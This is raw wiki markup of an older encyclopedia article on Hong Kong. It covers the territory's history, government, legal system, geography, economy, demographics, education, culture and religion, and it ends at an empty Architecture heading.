'''Hong Kong''' (香港, in [[Yale_romanization#Cantonese|Cantonese Yale]], ''Hèung Góng'', also known as Hongkong, which was common in older English-language texts, or ''Xiānggǎng'', in [[Pinyin]]) has one of the world's most [[laissez-faire|liberal economies]] and is a major international centre of [[finance]] and [[trade]]. A former [[British overseas territory|British colony]] now administered by the PRC under the &quot;[[one country, two systems]]&quot; policy, Hong Kong is [[Hong Kong Basic Law|constitutionally entitled]] to a relatively high degree of [[autonomy]]; for example, it retains its own [[legal system]], [[currency]], [[Customs (tax)|customs]], treaty negotiating rights, such as air traffic and aircraft landing rights, and [[immigration]] laws. Hong Kong even maintains its own [[Rules of the road|road rules]], with [[traffic]] continuing to drive on the left. Only [[national defense|national defence]]&lt;!-- NOTE: &quot;Defence&quot; is commonwealth spelling. --&gt; and [[diplomatic relations]] are responsibilities of the [[central People's Government|central government]] in [[Beijing]].

Despite Hong Kong's reversion from British to Chinese rule, the region's English name remains &quot;Hong Kong&quot; (which sounds closer to the pronunciation in the local [[Cantonese (linguistics)|Cantonese]] language), and not, as some sources suggest, Xiānggǎng (the [[Standard Mandarin|Mandarin]] equivalent).[http://en.wikipedia.org/wiki/Pronunciation_of_Hong_Kong]

==History==
{{main|History of Hong Kong}}

Though Hong Kong has been inhabited since the [[Palaeolithic Age]], the area now known as Hong Kong was an important trading region, and also a significant strategic location for the Chinese mainland during the [[Tang Dynasty|Tang]] and [[Song Dynasty|Song]] [[Chinese dynasties|dynasties]] and the subsequent [[Mongol]] invasion.  After that, the prominence of Hong Kong fell, and only began to attract the attention of China again and the rest of the world in the 19th century when it was ceded to [[United Kingdom|Britain]] after the [[Opium Wars]]. Hong Kong was first visited by a European in 1513, the [[Portugal|Portuguese]] [[mariner]] [[Jorge Álvares]]. Álvares began trading with the Chinese, and the Portuguese continued to make periodic trade stops at various locations up and down the coast.

[[Tea]], [[silk]], and other Asian [[luxury good]]s were introduced in Europe by the Portuguese, and by the mid-18th century, these items were in high demand, particularly tea. The British, challenging China's near monopoly on the tea industry, invaded China, winning the [[First Opium War]] in 1841. During the war, [[Hong Kong Island]] was first occupied by the British, and was formally ceded by the [[Qing Dynasty]] of China in 1842 under the [[Treaty of Nanking]].

Hong Kong became a [[crown colony]] in 1843. [[Kowloon Peninsula]] south of [[Boundary Street]] and [[Stonecutter's Island]] were ceded to the British in 1860 under the [[Convention of Peking]] after the [[Second Opium War]]. Various adjacent lands, known as the [[New Territories]] (including [[New Kowloon]] and [[Lantau Island]]), were then [[leasing|leased]] by Britain for 99 years, beginning on [[1 July]] [[1898]] and ending on [[30 June]] [[1997]]. For the first twenty years there was little contact between the European and Chinese communities. The first specially recruited Hong Kong civil servants to be taught [[Cantonese language|Cantonese]] were recruited in 1862, markedly improving relations.

[[Image:1945 liberation of Hong Kong at Cenotaph.jpg|left|thumb|250px|The liberation of Hong Kong in 1945 was celebrated at the [[Cenotaph]] in [[Victoria City|Victoria]] with the raising of the [[Union Jack|Union Flag]] and the [[Flag of the Republic of China]].]]

Hong Kong entered a dark age during the [[Japanese Occupation of Hong Kong|Japanese Occupation]] of [[World War II]], which lasted for three years and eight months.  Many Hong Kong people were executed by the Japanese army during the war. The Japanese subsequently surrendered on [[15 August]] [[1945]]. The port was quickly re-opened and welcomed a mass migration of Chinese [[refugee]]s in 1949 from the [[Chinese Civil War|civil war]] and the new [[Communism|Communist]] government in China.

Hong Kong had been a trade port ever since the British occupation, but its position as an [[entrepot]] declined greatly after the [[United Nations]] ordered a trade embargo against the People's Republic of China as a result of the [[Korean War]]. In response, a [[textile]] industry was established, taking advantage of the new pool of workers from China who were willing to work for almost any wage. During this period, the economy grew extremely rapidly. Towards the 1970s, Hong Kong began to move away from the textile industry and develop its financial and banking economy. This led to even greater growth, and Hong Kong quickly became one of the wealthiest territories in the world. Its position as an entrepot was restrengthened since the [[Open Door Policy]] was adopted in the PRC in the late 1970s under [[Deng Xiaoping]].

In the 1980s, with the lease on the New Territories running out, the British government of [[Margaret Thatcher]] decided to negotiate the [[Transfer of the sovereignty of Hong Kong|question of the sovereignty of Hong Kong]]. Although the British would have been legally required to transfer only the New Territories to the PRC, Whitehall decided that maintaining a rump colony would not be worthwhile - the majority of Hong Kong's land was in the New Territories, and failure to return the entire colony would doubtless have generated political friction between the UK and PRC.
[[Image:Flag of Hong Kong 1959.svg|thumb|200px|Flag of colonial Hong Kong, a [[Blue Ensign]] with the colony's coat of arms.]]
Pursuant to an agreement known as the [[Sino-British Joint Declaration]], signed by the [[People's Republic of China]] and the [[United Kingdom]] on [[19 December]] [[1984]], the whole territory of Hong Kong under British [[colonial]] rule became the Hong Kong Special Administrative Region of the PRC on [[1 July]] [[1997]]. In the Joint Declaration, the PRC promised that under the &quot;[[One Country, Two Systems]]&quot; policy proposed by [[Deng Xiaoping]], the [[socialism|socialist]] [[economy of the People's Republic of China|economic system in mainland China]] would not be practised in Hong Kong, and Hong Kong's previous [[capitalism|capitalist system]] and life-style would remain unchanged for 50 years, or until 2047. Hong Kong would enjoy a high degree of autonomy in all matters except diplomatic affairs and national defence&lt;!--defen*c*e is commonwealth spelling--&gt;. Hong Kong was transferred to the PRC at the stroke of midnight on [[1 July]] [[1997]], with the last governor, [[Chris Patten]] leaving on the [[HMY Britannia|royal yacht]]. Soon after the handover in July, land values in Hong Kong collapsed substantially and expedited the burst of the [[bubble economy]], as part of the [[Asian financial crisis]].  This was exacerbated by [[Tung Chee Hwa]]'s unsubstantiated pledge to supply 85,000 new flats annually[http://www.tdctrade.com/econforum/sc/sc000701.htm]; which essentially manipulated the region's real estate prices.  In some areas, land values fell by over half; and the [[Hang Seng Index]] fell by over 1,500 points on [[28 October]], losing 22.8% of its value in a week. Exacerbating the region's economic problems, Hong Kong was hit badly by the [[SARS]] virus beginning in mid-March through the summer of 2003, especially in the effect that it had on travel to and from Hong Kong.

On [[1 July]] the same year, half a million people marched in the largest protest rally ever aimed at the government of Hong Kong, voicing concerns about a proposed anti-subversion bill that would have eroded freedom of the press, of religion and of association arising from [[Hong Kong Basic Law Article 23|Article 23]] of the Hong Kong Basic Law, as well as dissatisfaction with the poor state of the economy. [[Regina Ip]], then [[Secretary for Security]], and [[Antony Leung]], then [[Financial Secretary (Hong Kong)|Financial Secretary]], were forced to leave office in 2003 under public pressure (though Antony Leung left office for reason unrelated to the SARS and Article 23 crisis).

On [[10 March]] [[2005]], Tung Chee Hwa submitted his [[Tung Chee Hwa's resignation|resignation]] as chief executive of Hong Kong. [[Donald Tsang]], the [[Chief Secretary for Administration of Hong Kong]], served as Acting Chief Executive until [[25 May]], when he, too, resigned from his post to take part in the campaign for the new Chief Executive election. Following an interim government headed by [[Henry Tang]], Tsang was eventually elected as Chief Executive.

==Politics and government==
[[Image:HongKongLegcoBuilding2.jpg|thumb|250px|The [[Legislative Council of Hong Kong|Legislative Council Building]] in [[Central, Hong Kong|Central]].]]
[[Image:DSCN2167.JPG|thumb|right|250px|[[Leung Kwok-hung]], a prominent [[political activist]], and other protesters demand release of [[Aung San Suu Kyi]]. The Public Order Ordinance requires police permission to hold a demonstration of more than 30 participants.]]
{{main articles|[[Politics of Hong Kong]] and [[Hong Kong Government]]}}

The Hong Kong Special Administrative Region is headed by its [[Chief Executive of Hong Kong|Chief Executive]], the [[head of government]]. This office is currently held by [[Donald Tsang]], who was elected {{ref|elected}} on [[16 June]] [[2005]].  Tsang had held the post of [[Chief Secretary for Administration of Hong Kong|Chief Secretary for Administration]] prior.  Donald Tsang assumed his post on [[24 June]] 2005 in [[Beijing]], China; he will finish the remaining portion of [[Tung Chee Hwa]]'s last term which ends on [[30 June]] [[2007]], according to the interpretation of [[Hong Kong Basic Law Annex One|Annex I]] and [[Hong Kong Basic Law Article 46|Article 46]] by the [[Standing Committee of the National People's Congress]].

The election of a new Chief Executive by the 800-member [[Election Committee]] was expected to be held on [[10 July]] [[2005]].  On [[16 June]] [[2005]], [[Donald Tsang]] was acclaimed the winner, as the only candidate securing the required 100 nominations from members of the election committee. Tung Chee Hwa, the first Chief Executive, assumed office on [[1 July]] [[1997]], following his election by a 400-member [[Election Committee|electoral college]].  For the second five-year term of the Chief Executive which began in July 2002, Tung was the only nominated candidate and therefore acclaimed.

The PRC set up a Provisional Legislative Council (PLC) just before the handover, and moved to Hong Kong to have its meetings after the handover. It reverted some laws passed by the original Legislative Council, which was formed by means of universal suffrage.  The PLC passed some of its own laws, such as the Public Order Ordinance {{ref|POO}}, which required permission from police to hold a demonstration where the number of people who participates exceeds 30. [[Legislative Council of Hong Kong| Legislative Council]] [[Hong Kong legislative election|elections]] were held on [[24 May]] [[1998]], [[10 September]] [[2000]], and again on [[12 September]] [[2004]], with the next election scheduled for 2008. According to the [[Hong Kong Basic Law|Basic Law]], Hong Kong's &quot;mini-[[constitution]]&quot;, the present third term of the Legislative Council has 30 seats directly elected from geographical constituencies, and 30 seats elected from [[Functional constituency|functional constituencies]]. The 1998, 2000 and [[Hong Kong legislative election, 2004|2004]] Legislative Council elections were seen as free, open, and widely contested, despite discontent among mainly 'pro-democratic' politicians, who contended that the functional constituency elections and the Election Committee elections (for 1998 and 2000) were undemocratic, as they consider that the electorate for these seats is too narrow.

The civil service of Hong Kong maintains its quality and neutrality, operating without discernible direction from [[Beijing]]. Many government and administrative operations are located in Central on Hong Kong Island near the historical location of [[Victoria City]], the site of the original British settlements.

The [[Right of abode issue, Hong Kong|Right of abode issue]] sparked debates in 1999, while the controversy over [[Hong Kong Basic Law Article 23]] was the focus of politics in Hong Kong between 2002 and 2003, culminating in a peaceful mass demonstration (over 500,000 demonstrators) on [[1 July]] [[2003]], after which the government still tried to pass the law to the Legislative Council.  But one of the major pro-government parties refused to vote for passing the bill.  Thus the government found that the bill could not be passed.  So it shelved {{ref|shelved}} the drafted law {{ref|draftedlaw}} brought forth by Article 23. The focus of controversies {{ref|controversies}} shifted {{ref|shifted}} to the issue {{ref|issue}} of [[universal suffrage]] towards the end of 2003 and in 2004, which was the slogan of another peaceful mass demonstration on 1 July 2004.

On [[24 September]] [[2005]], twenty-five Hong Kong pro-democracy Legco members, some of whom were previously labelled as traitors by Beijing after the 1989 [[Tiananmen Square]] crackdown and barred from entering the mainland, crossed the border into the southern province of [[Guangdong]], following an unprecedented invitation by the PRC {{ref|visit}}. The invitation was generally regarded as one of the greatest goodwill gestures from the PRC to the Hong Kong democrats since the Tiananmen Square massacre of 1989.

On [[4 December]] [[2005]], a [[124 March|demonstration]] was organised by the [[Civil Human Rights Front]] and [[pro-democracy]] lawmakers to express concerns about the lack of a working timetable that will allow for universal suffrage in the 2007 and 2008 elections for the Chief Executive and the Legistlative Council respectively. The turnout was reported to be 63,000 by the police, and at least 250,000 by the organisers.

On [[22 December]] [[2005]], the [[Chief Executive]] of Hong Kong, Donald Tsang, faced a political challenge. The electoral reform of members of the Legislative Council and the Chief Executive in the future were voted down by the [[pro-democracy camp]].

==Legal system and judiciary==
[[Image:Final appeal.gif|thumb|250px|right|The [[Hong Kong Court of Final Appeal|Court of Final Appeal]] building located in [[Central, Hong Kong|Central]].]]
{{main articles|[[Legal system of Hong Kong]] and [[Judiciary of Hong Kong]]}}

In contrast to mainland China's [[Civil law (legal system)|civil law]] system, Hong Kong continues to follow the [[common law]] tradition established by British colonial rule.  Article 84 of the [[Basic Law of Hong Kong]] allows Hong Kong's courts to refer to decisions ([[precedents]]) rendered by courts of foreign jurisdictions and to invite foreign judges to participate in proceedings of Hong Kong's [[Court of Final Appeal]].

Structurally, Hong Kong's court system consists of the [[Hong Kong Court of Final Appeal|Court of Final Appeal]] which replaced the [[Judicial Committee of the Privy Council]], the [[High Court of Hong Kong|High Court]], which is made up of the [[Court of Appeal of Hong Kong|Court of Appeal]] and the [[Court of First Instance of Hong Kong|Court of First Instance]], and the [[District Court of Hong Kong|District Court]], which includes the [[Family Court of Hong Kong|Family Court]].  Other adjudicative bodies include the Lands Tribunal, the Magistrates' Courts, the Juvenile Court, the Coroner's Court, the Labour Tribunal, the Small Claims Tribunal, and the Obscene Articles Tribunal, which is responsible for classifying non-video pornography to be circulated in Hong Kong.  Justices of the [[Hong Kong Court of Final Appeal|Court of Final Appeal]] are appointed by Hong Kong's Chief Executive.  The [[Basic Law of Hong Kong]] is subject to interpretation by the [[Standing Committee of the National People's Congress]] and this power has been invoked three times: the [[Right of abode issue, Hong Kong|right of abode issue]], an interpretation regarding post-2008 election procedures, and an interpretation regarding the length of the term of the Chief Executive.

As in [[England]], [[lawyer|lawyers]] in Hong Kong are classified as [[barrister|barristers]] and [[solicitor|solicitors]], where one can choose to practice as either one but not both (but it is possible to switch from one to the other). The vast majority of [[lawyer|lawyers]] are [[solicitor|solicitors]] who are licensed and regulated by [[the Law Society of Hong Kong]]. [[Barristers]], on the other hand, are licensed and regulated by the [[Hong Kong Bar Association]]. Only [[barristers]] are allowed to appear in the [[Hong Kong Court of Final Appeal|Court of Final Appeal]] and the [[High Court of Hong Kong|High Court]]. Just as the [[common law system]] is maintained, so are British courtroom customs such as the wearing of robes and wigs by both [[judges]] and [[lawyers]].

==Geography==
[[Image:Hong Kong relief map with geographic labels.jpg|right|thumb|250px|A relief map of Hong Kong and the southern part of [[Shenzhen]] (circa 2000). ([http://maps.google.com/maps?q=Hong+Kong&amp;ll=22.285284,114.147949&amp;spn=0.592723,0.951073&amp;t=k&amp;hl=en])]]
{{main articles|[[Geography of Hong Kong]] and [[Ecology of Hong Kong]]}}

Hong Kong consists of [[Hong Kong Island]], [[Kowloon]], and the [[New Territories]]. The [[Kowloon Peninsula]] is attached to the New Territories in the north, and the New Territories are in turn connected to [[mainland China]] across the [[Sham Chun River]] (Shenzhen River). In total, Hong Kong has [[Islands of Hong Kong|236 islands]] in the [[South China Sea]], of which [[Lantau Island|Lantau]] is the largest. Hong Kong Island itself is the second largest and also the most populated. [[Ap Lei Chau]] is the most densely populated island in the world.

The name &quot;Hong Kong&quot;, literally meaning &quot;fragrant harbour&quot;, is derived from the area around present-day [[Aberdeen, Hong Kong|Aberdeen]] and [[Wong Chuk Hang]] on Hong Kong Island, where fragrant trees were once abundant and exported from. The body of water between Hong Kong Island and Kowloon Peninsula is [[Victoria Harbour]], one of the deepest natural maritime [[port]]s in the world. The landscape of Hong Kong is fairly hilly to mountainous with steep slopes. The highest point in the territory is [[Tai Mo Shan]], at a height of 958 [[metre]]s (3,142 [[foot (unit of length)|ft]]). Lowlands exist in the northwestern part of the New Territories.

Hong Kong is 60 [[kilometre]]s (37 [[mile|mi]]) east of [[Macau]], on the opposite side of the [[Pearl River Delta]] and borders the [[subprovincial city|city]] of [[Shenzhen]] in [[Guangdong Province]]. Of the territory's 1,102 [[square kilometre]]s (425 [[square mile|mi²]]) and nearly 7 million residents, less than 25% is developed; the remaining land is remarkably green and significant portions are reserved as [[Hong Kong Country Parks &amp; Special Areas|country park]]s and [[nature reserve]]s.  This is because most live and work in high-rise buildings in the city and surrounding new towns.

[[Climate of Hong Kong|Hong Kong's climate]] is [[subtropical]] and prone to [[monsoon]]s. It is cool and dry in the [[winter]]time which lasts from around January to March, and is hot, humid and [[rain]]y from [[Spring (season)|spring]] through [[summer]]. It is warm, [[sun]]ny, and dry in [[autumn]]. Hong Kong occasionally has [[typhoon]]s. The ecology of Hong Kong is mostly affected by the results of climatic changes. Hong Kong's climate is seasonal due to alternating wind direction between winter and summer. Hong Kong has been geologically stable for millions of years.  However, flora and fauna in Hong Kong are altered by climatic change, sea level alternation and human impact. The highest recorded temperature{{ref|extreme}} in Hong Kong is 40 degrees [[Celsius]] (104°[[fahrenheit|F]]) while the lowest recorded temperature is 0°C (32°F). The average temperature in the coldest month, February, is 16°C (61°F) while the average temperature in the hottest month, July, is 28°C (82°F).

Hong Kong's climate is [[subtropical]] but half of the year is temperate. The territory is situated south of the [[Tropic of Cancer]] which is equatable to [[Hawaii]] in [[latitude]]. In winter, strong and cold winds generate from the north and cool the city; in the summer, the wind's direction reverses and brings the warm and humid air in from the south. This climate can support a [[tropical rainforest]].

==Administrative divisions==
[[Image:Hk map 18.png|thumb|right|450px|18 districts of the Hong Kong Special Administrative Region]]
{{main|Districts of Hong Kong}}
Hong Kong consists of 18 administrative districts:
&lt;br clear-all&gt;
# [[Islands District, Hong Kong|Islands]]
# [[Kwai Tsing District|Kwai Tsing]] ([[Kwai Chung]] and [[Tsing Yi]])
# [[North District, Hong Kong|North]]
# [[Sai Kung District|Sai Kung]]
# [[Sha Tin District|Sha Tin]]
# [[Tai Po District|Tai Po]]
# [[Tsuen Wan District|Tsuen Wan]]
# [[Tuen Mun District|Tuen Mun]]
# [[Yuen Long District|Yuen Long]]
# [[Kowloon City District|Kowloon City]]
# [[Kwun Tong District|Kwun Tong]]
# [[Sham Shui Po District|Sham Shui Po]]
# [[Wong Tai Sin District|Wong Tai Sin]]
# [[Yau Tsim Mong District|Yau Tsim Mong]] ([[Yau Ma Tei]], [[Tsim Sha Tsui]] and [[Mong Kok]])
# [[Central and Western District|Central and Western]]
# [[Eastern District|Eastern]]
# [[Southern District, Hong Kong|Southern]]
# [[Wan Chai District|Wan Chai]]

There are several [[List_of_cities_and_towns_in_Hong_Kong|cities and towns]] within Hong Kong, the largest of which include [[Kowloon]], Victoria ([[Hong Kong Island]]), [[Tsuen Wan New Town|Tseun Wan New Town]], and [[Sha Tin|Sha Tin New Town]]. These entities, however, are not granted any formal administrative status and are either administered as parts of districts (e.g. Sha Tin New Town) or divided up amongst districts (e.g. Tsuen Wan New Town and Kowloon).

==Economy==
[[Image:DSCN2009.JPG|thumb|right|250px|[[Exchange Square (Hong Kong)|Exchange Square]] in [[Central, Hong Kong|Central]] houses offices and the [[Hong Kong Stock Exchange]].]]
[[Image:Hong Kong Market Crash.jpg|thumb|right|250px|The [[Hang Seng Index]] fell by 22.8 % in a week of [[28 October]] [[1997]] after the [[real estate]] [[bubble economy]] collapsed, severely damaging the economy.]]
{{main articles|[[Economy of Hong Kong]] and [[Employment in Hong Kong]]}}

Hong Kong has one of the least restricted economies in world and is basically duty-free. It is the world's 10th largest {{ref|10th}} trading entity and 11th largest {{ref|11th}} [[bank|banking centre]]. The dominant presence of international trade is reflected in the number of [[consulate]]s located in the territory: [[As of 2005|As of June 2005]], Hong Kong had 107 consulates and consulates-general, more than any other city in the world. Even [[New York City]], host of the [[United Nations]], only has 93 consulates.

The objective of Hong Kong's monetary policy is to maintain currency stability. Given the highly externally oriented nature of the economy, this objective was further defined as a stable external value for the [[Hong Kong dollar]] in terms of a linked [[exchange rate]] against the US dollar at the rate of HK$7.80 to one [[United States dollar]] until 2005, when it was allowed to trade within a band of HK$7.75-$7.85.

Hong Kong has limited [[natural resources]], and most [[food]] and raw materials must be imported. In fact, [[import]]s and [[export]]s (including re-exports) exceed the [[gross domestic product|GDP]] of Hong Kong. Hong Kong has extensive trade and investment ties with the [[People's Republic of China]] which existed even before the [[handover]] on [[1 July]] [[1997]]. These ties and its autonomous status enable it to be the middleman between the [[Republic of China]] on [[Taiwan]] and the mainland.  Flights, investment, and trade from Taiwan go through Hong Kong to get to the mainland.  The [[tertiary sector of industry|service sector]] represented 86.5 % {{ref|86.5}} of the GDP in 2001. The territory, with a highly sophisticated banking sector and good communication links, hosts the [[Asia]]n headquarters of many [[multinational corporation]]s.

At [[United States dollar|USD]] 24,080 {{ref|24,626}} in 2004, the nominal [[per capita]] GDP of Hong Kong is somewhat lower than that of the four big economies of [[western Europe]].   However, it would be [[List of countries by GDP (PPP) per capita| ranked 11th]] in terms of per capita GDP ([[purchasing power parity|PPP]]) in the world (USD 32,292), which is even higher than [[Japan]] (USD 31,384), making Hong Kong one of the richest territorial regions in Asia.

Growth averaged a strong 8.9% per annum in real terms in the 1970s and 7.2% p.a. in the 1980s. As the economy shifted to services (manufacturing currently accounts for just 4% of GDP), growth slowed to 2.7% p.a. in the 1990s, including a 5.3% decline in 1998, due to the [[Asian financial crisis|Asian financial crisis']] impact on demand in the region. Growth since 2000 has averaged 5.2% p.a. amid strong deflation.

The economy rebounded rapidly, growing by 10 % in 2000.  A world-wide global downturn and the Severe Acute Respiratory Syndrome (SARS) outbreak reduced economic growth to 2.3 % in 2002. Thereafter, a boom in tourism from the mainland because of China's easing of travel restrictions, a return of consumer confidence, and a solid rise in exports resulted in the resumption of strong growth in late 2003 and 2004, with growth averaging 6.5% in the first half of 2005.

To further increase economic co-operation between Hong Kong and the mainland, the [[Individual Visit Scheme]] was started on [[28 July]] [[2003]], which allows travellers from some cities in mainland China to visit Hong Kong without an accompanying tour group. As a result, the [[Tourism in Hong Kong|tourism industry in Hong Kong]] is booming due to an exponential increase in the number of visitors from mainland China. The upsurge is also boosted by the recent opening of [[Hong Kong Disneyland Resort]].

A revival in both external and domestic demand led to a strong upswing in growth in 2004, surging to 8.2 % for the year. The domestic sector completely shrugged off its earlier sluggishness, and the general weakness of the Hong Kong dollar, when included with the still modest cost and price pressures in Hong Kong, has resulted in a strengthening in Hong Kong's external price competitiveness. In addition, Hong Kong's 68-month-long [[deflation (economics)|deflationary]] spiral, the longest and highest deflation {{ref|deflation}} according to [[Guinness World Records]], ended in mid-2004, with consumer price [[inflation]] hovering at near zero levels.

Along with [[Singapore]], [[South Korea]] and [[Taiwan|Taiwan, ROC]], Hong Kong's fast-paced industrialisation earned it a place as one of the four original [[East Asian Tigers]].

==Demographics==
[[Image:Ap Liu Street in Shamshuipo.jpg|thumb|250px|Hong Kong is home to some of the most densely settled areas of the world.  This is the Ap Liu Street in [[Sham Shui Po]] where colourful [[parasol]]s intersperse throughout the pavement.]]
{{main|Demographics of Hong Kong}}

The population of Hong Kong increased markedly during the 1990s, reaching 6.86 million in 2005. About 96 % of Hong Kong's population is Chinese, the majority of which are [[Cantonese people|Cantonese]]. Groups such as the [[Hakka]] and [[Teochew]] are also substantial. Used in government matters, [[Standard Cantonese|Cantonese]] is spoken by most of the local Chinese population at home and in the office, although [[English language|English]] is also widely understood and spoken by more than one-third of the population. Since the Handover, a new group of immigrants from [[mainland China]] have increased the ethnic diversity of the Chinese population and enhanced the development of Mandarin in the territory.

The remaining 4 % of the population is composed of non-Chinese, who form a highly visible group, despite their small numbers.

Among these is a significant [[South Asian]] population, which includes some of Hong Kong's wealthiest families. Some [[Nepal]]is residing in Hong Kong are [[Gurkha]]s, who chose to stay after their service to Britain, and their descendants. More than 15,000 [[Vietnam]]ese, who came to Hong Kong as [[refugee]]s, have become permanent residents, the majority of whom survive on casual work. Around 140,000 [[Filipinos in Hong Kong|Filipinos]] work in Hong Kong as domestic helpers and housekeepers, often known locally as ''[[amah]]s'', or ''feiyungs'', with other such workers coming from Thailand and Indonesia. On Sundays and public holidays, thousands of these workers, the majority of whom are women, gather in [[Central, Hong Kong|Central]] to socialise.  There are also a number of [[Europe]]ans, [[North America]]ns, [[Japan]]ese, and [[Korea]]ns, largely working in Hong Kong's financial sector.
The top three sources of migration to Hong Kong are the [[Philippines]] (132,770), [[Indonesia]] (95,460), and the [[United States]] (31,330).

Hong Kong is the fifth largest [[metropolitan area]] of the [[List of cities in China|PRC by population]]. Considered as a dependency, Hong Kong is one of the [[List of countries by population density|most densely populated countries/dependencies in the world]], with an overall density of more than 6,200 people per km². Hong Kong has a [[fertility rate]] of .94 children per woman {{ref|.94}}, one of the lowest in the world, and far below the 2.1 children per woman required to maintain an even population level. However, population is continuously growing due to immigration of about 45,000 people per year from mainland China.

Despite the population density, Hong Kong was reported {{ref|reported}} to be one of the [[environmentalism|greenest]] cities in Asia. The majority of people live in [[Apartment|flats]] in [[Skyscraper|high-rise buildings]]. The rest of the open spaces are often covered with parks, woods and shrubs. About 60 % of the land {{ref|60percent}} is designated as [[country park|Country Park]]s and [[nature reserve|Nature Reserve]]s. [[Hiking]] and [[camping]] are popular outdoor activities in Hong Kong's hilly country parks. The irregular and long [[coast]]line of Hong Kong also provides many bays and fine [[Beaches of Hong Kong|beach]]es for its inhabitants. Environmental concern and awareness is growing, however, as Hong Kong also ranks as one of the most (air-)polluted cities in the world. Estimates are that 70-80% of the city's air pollution comes from other parts of the [[Pearl River Delta]].

==Education==
[[Image:Hong Kong Central Library.JPG|thumb|right|250px|The [[Hong Kong Central Library]] building located in [[Causeway Bay]].]]
{{main|Education in Hong Kong}}

A former [[United Kingdom|British]] colony, Hong Kong's [[education]] system is roughly based upon [[Education in the United Kingdom|that of the United Kingdom]], and in particular, the [[Education in England|system used in England]].

However, at the higher education levels, the trend beginning from the mid-1990s has been a shift to an American model for Hong Kong's universities. In particular, the Hong Kong University of Science and Technology, which started its operations in 1989 and moved to its current Clear Water Bay campus in the early 1990s, was established on the American model of higher education.

Hong Kong's public schools are operated by the [[Education and Manpower Bureau|Education and Manpower Bureau of the Government of the Hong Kong Special Administrative Region]]. [http://www.emb.gov.hk/index.aspx?nodeID=4369&amp;langno=1]

The system features a non-compulsory three-year [[kindergarten]], followed by a compulsory six-year primary education, three-year junior [[secondary education]]; a non-compulsory two-year senior secondary education leading to the [[Hong Kong Certificate of Education Examination]]s and a two-year [[matriculation]] course leading to the [[Hong Kong Advanced Level Examination]]s.  A new “3+3+4” senior secondary curriculum, consisting of a three-year junior secondary, three-year senior secondary and four-year undergraduate academic system, will be implemented from 2009 onwards. There are also [[Tertiary education|tertiary institutions]] offering various Bachelor's, Master's, and Doctoral degrees, other [[Higher Diploma|higher diploma]]s, and [[associate degree]] courses.

In general, three types of comprehensive schools exist in Hong Kong. There are government schools, which are relatively rare; and subsidised schools (government-aided schools, grant schools), run by charitable (often [[Christianity|Christian]], but [[Buddhist]], [[Taoist]], [[Islam]]ic and [[Confucian]] as well) organisations with government funding, to which most students go. Most [[private school]]s are run by Christian organisations as well; where admissions are based more on academic merit than on financial resources. Outside this system are the schools under the [[Direct Subsidy Scheme]] (DSS) and private [[international school]]s, which provide an alternative to the high-pressured mainstream education in exchange for much higher tuition fees.

==Culture==
[[Image:Victoria harbour hk.jpg|right|thumb|250px|[[Aberdeen Harbour]] and jetty where one can catch a [[sampan]] to the floating restaurant.]]
{{main|Culture of Hong Kong}}
Hong Kong is often described as a city where East meets West. This is reflected in all aspects of the culture, but especially in its [[shopping]], [[nightlife]], and [[Eating|dining]].

A popular destination for shoppers from around the world, Hong Kong has everything to offer from the latest European fashion to traditional Chinese wares. Malls, department stores, and designer boutiques offer an amazing contrast to the bustling open-air [[Stanley Market]] and [[Jade Market]] shopping areas. Every district in Hong Kong has old-fashioned stores that sell [[Chinese herbal medicine]]. The largest concentration of these shops is along [[Bonham Strand]] and [[Bonham Strand West]] in [[Sheung Wan]], where all types of pills, plants, and dried animals are for sale.

Hong Kong has an active nightlife centred around two major entertainment districts, [[Lan Kwai Fong]] (Central) and [[Wanchai]]. Both areas are frequented by expats and locals alike. For a more quiet evening, a trip to [[Victoria Peak]] offers a spectacular view of the city. There is also a promenade along the [[Tsim Sha Tsui]] waterfront, which is popular among young Chinese couples. Shopping, a form of entertainment for the people of Hong Kong, is even done at nightime as evident in the [[Temple Street Night Market]].

The city's cosmopolitan flavour can also be seen in the wide variety of cuisines available. While different varieties of Chinese selections, especially seafood, are most popular, there also many European, American, Japanese, Korean, and other restaurants. Ethnic dishes served in ''[[cha chaan teng]]'' and ''[[dai pai dong]]'' are also popular. The people of Hong Kong take their food seriously and many top chefs make their way to the city to show off their talents to these discriminating diners.

The world famous [[Hong Kong International Dragonboat Festival]], now known as the Circus Capital Stanley Dragon Boat Championships, is a [[Dragon Boat Festival|celebration]] of community that is televised globally.

==Religion==
[[Image:DSCN1984.JPG|thumb|right|250px|[[Hung Shing Temple]] in [[Wan Chai]]]]
{{main|Religion in Hong Kong}}
Hong Kong enjoys a high degree of religious freedom, a right enshrined and protected through its constitutional document, the Basic Law.  The majority of Hong Kong's population practices [[ancestor worship]] due to the strong [[Confucianism|Confucian]] influence.  A sizable [[Christianity|Christian]] community of around 500,000 exists, forming about 10% of the total population; roughly equally divided between [[Roman Catholic Church|Catholic]]s and [[Protestant]]s. There are also followers of [[Buddhism]] or [[Taoism]]. There are also estimated 70,000 [[Islam|Muslim]]s, between 2,000 and 3,000 [[Jew]]s, and a few [[Hinduism|Hindu]]s; [[Sikhism|Sikh]]s and [[Bahá'í Faith|Bahá'í]]s are also represented.  Apart from offering religious instructions, many major religious bodies have established schools and provided [[social welfare]] facilities.

Hong Kong's religious beliefs are tied to the region's early role as a [[fishing]] community. [[Tin Hau]], the protector of seafarers, has been honoured with several [[Places of worship in Hong Kong|temples]] throughout Hong Kong for at least 300 years. [[Hung Shing]], another protector of seafarers, has also been honoured for centuries&lt;!-- how many centuries? rather unclear... --&gt;. Hong Kongers, especially elder generations, go to Taoist or Buddhist temples to appease the deities and, usually, to ask for compassion or good fortune. Gifts of [[food]], and in particular [[fruit]], are presented, and [[incense]] and [[paper]] offerings are burnt in respect.

With the transfer of Hong Kong  to the PRC, there was significant concerns over [[freedom of religion|religious freedom]] in Hong Kong.  So far, this has proved mostly unfounded - despite the banning of the [[Falun Gong]] movement by [[Beijing]] in 1999, adherents are still free to practice in Hong Kong.  Similarly, the [[Roman Catholic Church|Catholic Church]] is free to appoint its own bishops in Hong Kong, unlike on mainland China, where the only approved 'Catholic' institution is the [[Chinese Patriotic Catholic Association]], which bishops and priests are appointed by Beijing (though there is also an unofficial and illegal part of the Catholic church that maintains contact with the Vatican).  A significant issue in the normalisation of ties between the PRC and the [[Vatican City|Vatican]] is Beijing's insistence that the Vatican drops its diplomatic ties with the [[Political status of Taiwan|ROC]].

Although freedom of religion remains true in Hong Kong, it remains a volatile issue for many, as any threat will have lasting implications for the perceived freedoms in Hong Kong.

==Architecture==
[[Image:Bank of china night.jpg|thumb|right|200px|[[Bank of China Tower]] at dusk.]]
{{main|Architecture of Hong Kong}}

